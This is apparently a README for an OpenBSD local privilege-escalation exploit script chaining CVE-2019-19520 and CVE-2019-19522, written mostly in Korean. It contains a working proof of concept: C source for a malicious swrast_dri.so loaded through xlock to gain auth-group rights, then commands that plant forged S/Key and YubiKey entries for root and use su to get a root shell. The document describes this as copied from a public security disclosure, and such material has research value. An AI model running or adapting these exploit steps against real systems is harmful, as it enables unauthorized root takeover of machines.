
Script that automates the process of escalating privileges on openbsd system (CVE-2019-19520) by exploiting the xlock binary and againing it's sgid and escalating to the root user by (CVE-2019-19522) exploiting the privileges of auth group and adding keys to the Skey or Yubikey
OpenBSD 시스템에서 권한을 상승시키는 과정을 자동화하는 스크립트입니다. (CVE-2019-19520) xlock 바이너리를 악용하여 sgid를 획득하고, (CVE-2019-19522) auth 그룹의 권한을 악용하여 Skey 또는 Yubikey에 키를 추가하여 root 사용자로 권한을 상승시킵니다.
C 코드는 원본 PoC를 거의 그대로 복사한 것입니다: https://www.openwall.com/lists/oss-security/2019/12/04/5
OpenBSD에서 /usr/X11R6/bin/xlock은 기본적으로 설치되며 set-user-ID가 아닌 set-group-ID "auth"로 설정됩니다. 따라서 다음 검사는 불완전하며 issetugid()를 대신 사용해야 합니다:
101 _X_HIDDEN void * 102 driOpenDriver(const char driverName) 103 { ... 113 if (geteuid() == getuid()) { 114 / don't allow setuid apps to use LIBGL_DRIVERS_PATH */ 115 libPaths = getenv("LIBGL_DRIVERS_PATH");
로컬 공격자는 이 취약점을 악용하여 자신의 드라이버를 dlopen()하고 "auth" 그룹의 권한을 획득할 수 있습니다:
$ id uid=32767(nobody) gid=32767(nobody) groups=32767(nobody)
$ cd /tmp
$ cat > swrast_dri.c << "EOF" #include <paths.h> #include <sys/types.h> #include <unistd.h>
static void attribute ((constructor)) _init (void) { gid_t rgid, egid, sgid; if (getresgid(&rgid, &egid, &sgid) != 0) _exit(LINE); if (setresgid(sgid, sgid, sgid) != 0) _exit(LINE);
char * const argv[] = { _PATH_KSHELL, NULL };
execve(argv[0], argv, NULL);
_exit(__LINE__);
} EOF
$ gcc -fpic -shared -s -o swrast_dri.so swrast_dri.c
$ env -i /usr/X11R6/bin/Xvfb :66 -cc 0 & [1] 2706
$ env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display :66
$ id uid=32767(nobody) gid=11(auth) groups=32767(nobody)
이제 우리는 auth 그룹의 권한을 획득했습니다. 이 권한을 이용하여 Skey 또는 Yubikey에 자신의 root 키를 추가함으로써 권한을 악용할 수 있습니다.
S/Key 또는 YubiKey 인증 유형이 활성화된 경우 (둘 다 기본적으로 설치되어 있지만 비활성화되어 있음), 로컬 공격자는 "auth" 그룹의 권한을 악용하여 "root" 사용자의 모든 권한을 획득할 수 있습니다 (login_skey와 login_yubikey가 /etc/skey 및 /var/db/yubikey의 파일이 올바른 사용자에게 속하는지 확인하지 않고, 이 디렉토리들은 모두 "auth" 그룹이 쓰기 가능하기 때문입니다).
(참고: "auth" 그룹의 권한을 획득하기 위해 로컬 공격자는 먼저 xlock의 CVE-2019-19520을 악용할 수 있습니다.)
S/Key가 활성화되면 (skeyinit -E 사용), "auth" 권한을 가진 로컬 공격자는 "root" 사용자에 대한 S/Key 항목 (/etc/skey의 파일)을 추가할 수 있습니다 (해당 파일이 이미 존재하는 경우 /etc/skey가 sticky 비트가 설정되어 있으므로 공격자가 단순히 제거하거나 이름을 바꿀 수 없습니다. 간단한 우회 방법이 있으며, 관심 있는 독자를 위한 연습 문제로 남겨둡니다):
$ id uid=32767(nobody) gid=11(auth) groups=32767(nobody)
$ echo 'root md5 0100 obsd91335 8b6d96e0ef1b1c21' > /etc/skey/root
$ chmod 0600 /etc/skey/root
$ env -i TERM=vt220 su -l -a skey otp-md5 99 obsd91335 S/Key Password: EGG LARD GROW HOG DRAG LAIN
#id uid=0(root) gid=0(wheel) ...
YubiKey가 활성화되면 (login.conf 사용), "auth" 권한을 가진 로컬 공격자는 "root" 사용자에 대한 YubiKey 항목 (/var/db/yubikey의 두 파일)을 추가할 수 있습니다 (해당 파일이 이미 존재하는 경우 /var/db/yubikey가 sticky가 아니므로 공격자가 간단히 제거하거나 이름을 바꿀 수 있습니다):
$ id uid=32767(nobody) gid=11(auth) groups=32767(nobody)
$ echo 32d32ddfb7d5 > /var/db/yubikey/root.uid
$ echo 554d5eedfd75fb96cc74d52609505216 > /var/db/yubikey/root.key
$ env -i TERM=vt220 su -l -a yubikey Password: krkhgtuhdnjclrikikklulkldlutreul
#id uid=0(root) gid=0(wheel) ...